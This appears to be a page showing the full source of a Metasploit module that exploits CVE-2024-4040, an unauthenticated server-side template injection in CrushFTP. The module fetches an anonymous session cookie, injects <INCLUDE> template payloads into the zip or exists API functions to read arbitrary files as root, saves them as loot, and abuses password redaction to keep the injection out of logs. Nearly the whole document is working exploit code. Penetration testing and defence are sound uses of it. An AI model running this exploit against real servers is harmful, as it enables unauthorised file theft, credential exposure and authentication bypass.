Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/crushftp_fileread_cve_2024_4040.rb
Views: 11777
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7prepend Msf::Exploit::Remote::AutoCheck89def initialize(info = {})10super(11update_info(12info,13'Name' => 'CrushFTP Unauthenticated Arbitrary File Read',14'Description' => %q{15This module leverages an unauthenticated server-side template injection vulnerability in CrushFTP < 10.7.1 and16< 11.1.0 (as well as legacy 9.x versions). Attackers can submit template injection payloads to the web API without17authentication. When attacker payloads are reflected in the server's responses, the payloads are evaluated. The18primary impact of the injection is arbitrary file read as root, which can result in authentication bypass, remote19code execution, and NetNTLMv2 theft (when the host OS is Windows and SMB egress traffic is permitted).20},21'License' => MSF_LICENSE,22'Author' => [23'remmons-r7', # MSF Module & Rapid7 Analysis24],25'References' => [26['CVE', '2024-4040'],27['URL', 'https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis']28],29'Notes' => {30'Stability' => [CRASH_SAFE],31# The CrushFTP.log file will contain a log of the HTTP requests32# Similarly, files in logs/session_logs/ will contain a log of the HTTP requests33# The sessions.obj file will temporarily persist details of recent requests34'SideEffects' => [IOC_IN_LOGS],35'Reliability' => []36}37)38)3940register_options(41[42Opt::RPORT(8080),43OptBool.new('STORE_LOOT', [true, 'Store the target file as loot', false]),44OptString.new('TARGETFILE', [true, 'The target file to read. This can be a full path, a relative path, or a network share path (if firewalls permit). Files containing binary data may not be read accurately', 'users/MainUsers/groups.XML']),45OptString.new('TARGETURI', [true, 'The URI path to CrushFTP', '/']),46OptEnum.new('INJECTINTO', [true, 'The CrushFTP API function to inject into', 'zip', ['zip', 'exists']])47]48)49end5051def check52# Unauthenticated requests to WebInterface endpoints should receive a response containing an 'anonymous' user session cookie53res_anonymous_check = get_anon_session5455return Msf::Exploit::CheckCode::Unknown('Connection failed - unable to get 404 page response (confirm target and SSL settings)') unless res_anonymous_check5657# Confirm that the response returned a CrushAuth cookie and the status code was 404. If this is not the case, the target is probably not CrushFTP58if (res_anonymous_check.code != 404) || !res_anonymous_check.get_cookies.include?('CrushAuth')59return Msf::Exploit::CheckCode::Unknown('The application did not return a 404 response that provided an anonymous session cookie')60end6162# Extract the CrushAuth anonymous session cookie value using regex63crushauth_cookie = res_anonymous_check&.get_cookies&.match(/\d{13}_[A-Za-z0-9]{30}/)6465# The string "password" is included to invoke CrushFTP's sensitive parameter redaction in logs. The injection will be logged as "********"66# NOTE: Due to an apparent bug in the way CrushFTP redacts data, if file paths contain ":", some of the injection will be leaked in logs67res_template_inject = perform_template_injection(datastore['INJECTINTO'], '{user_name}password', crushauth_cookie)6869return Msf::Exploit::CheckCode::Unknown('Connection failed - unable to get template injection page response') unless res_template_inject7071# Confirm that the "{user_name}" template injection evaluates to "anonymous" in the response. If it does not, the application is not vulnerable72unless res_template_inject.body.include?('anonymous')73return Msf::Exploit::CheckCode::Safe('Server-side template injection failed - CrushFTP did not evaluate the injected payload')74end7576Msf::Exploit::CheckCode::Vulnerable('Server-side template injection successful!')77end7879def run80# Unauthenticated requests to WebInterface endpoints should receive a response containing an 'anonymous' user session cookie81print_status('Fetching anonymous session cookie...')82res_anonymous = get_anon_session8384fail_with(Failure::Unknown, 'Connection failed - unable to get 404 page response') unless res_anonymous8586# Confirm that the response returned a CrushAuth cookie and the status code was 404. If this is not the case, the target is probably not CrushFTP87if (res_anonymous&.code != 404) || res_anonymous&.get_cookies !~ /CrushAuth=([^;]+;)/88fail_with(Failure::Unknown, 'The application did not return a 404 response that provided an anonymous session cookie')89end9091# Extract the CrushAuth cookie value from the response 'Set-Cookie' data92crushauth_cookie = res_anonymous&.get_cookies&.match(/\d{13}_[A-Za-z0-9]{30}/)9394file_name = datastore['TARGETFILE']9596print_status("Using template injection to read file: #{file_name}")9798# These tags will be used to identify the beginning and end of the file data in the response99# The string "_pass_" is prepended to the injection to invoke CrushFTP sensitive parameter redaction in logs. The injection will be logged as "********"100# NOTE: Due to an apparent bug in the way CrushFTP redacts data, if file paths contain ":", some of the injection will be leaked in logs101file_begin_tag = '_pass_'102file_end_tag = 'file-end'103104# Perform the template injection for file read105res_steal_file = perform_template_injection(datastore['INJECTINTO'], "#{file_begin_tag}<INCLUDE>#{file_name}</INCLUDE>#{file_end_tag}", crushauth_cookie)106107# Check for failure conditions108fail_with(Failure::Unknown, 'Connection failed - unable to perform template injection') unless res_steal_file109110if (res_steal_file&.code != 200) || !(res_steal_file.body.include? file_begin_tag)111fail_with(Failure::Unknown, 'The application did not respond as expected - the response did not return a 200 status with file contents in the body')112end113114if res_steal_file.body.include? "#{file_begin_tag}<INCLUDE>#{file_name}</INCLUDE>#{file_end_tag}"115fail_with(Failure::NotFound, 'The requested file was not found - the target file does not exist or the system cannot read it')116end117118# Isolate the file contents in the response by extracting data between the begin and end tags119file_data = res_steal_file.body[res_steal_file.body.index(file_begin_tag) + file_begin_tag.length..]120file_data = file_data.split(file_end_tag)[0]121122if datastore['STORE_LOOT']123store_loot(File.basename(file_name), 'text/plain', datastore['RHOST'], file_data, file_name, 'File read from CrushFTP server')124print_good('Stored the file data to loot...')125else126# A new line is sent before file contents for better readability127print_good("File read succeeded! \n#{file_data}")128end129end130131# A GET request to /WebInterface/ should return a 404 response that contains an 'anonymous' user cookie132def get_anon_session133send_request_cgi(134'method' => 'GET',135'uri' => normalize_uri(target_uri.path, 'WebInterface/')136)137end138139# The 'zip' API function is used here, but any unauthenticated API function that reflects parameter data in the response should work140def perform_template_injection(page, payload, cookie)141if page == 'zip'142send_request_cgi(143{144'method' => 'POST',145'uri' => normalize_uri(target_uri.path, 'WebInterface', 'function/'),146'cookie' => "CrushAuth=#{cookie}",147'headers' => { 'Connection' => 'close' },148'vars_post' => {149'command' => 'zip',150# This value will be printed in responses to unauthenticated zip requests, resulting in template payload execution151'path' => payload,152'names' => '/',153# The c2f parameter must be the last four characters of the primary session cookie154'c2f' => cookie.to_s[-4..]155}156}157)158# The 'page' value is "exists"159elsif page == 'exists'160send_request_cgi(161{162'method' => 'POST',163'uri' => normalize_uri(target_uri.path, 'WebInterface', 'function/'),164'cookie' => "CrushAuth=#{cookie}",165'headers' => { 'Connection' => 'close' },166'vars_post' => {167'command' => 'exists',168# This value will be printed in responses to "exists" requests, resulting in template payload execution169'paths' => payload,170# The c2f parameter must be the last four characters of the primary session cookie171'c2f' => cookie.to_s[-4..]172}173}174)175end176end177end178179180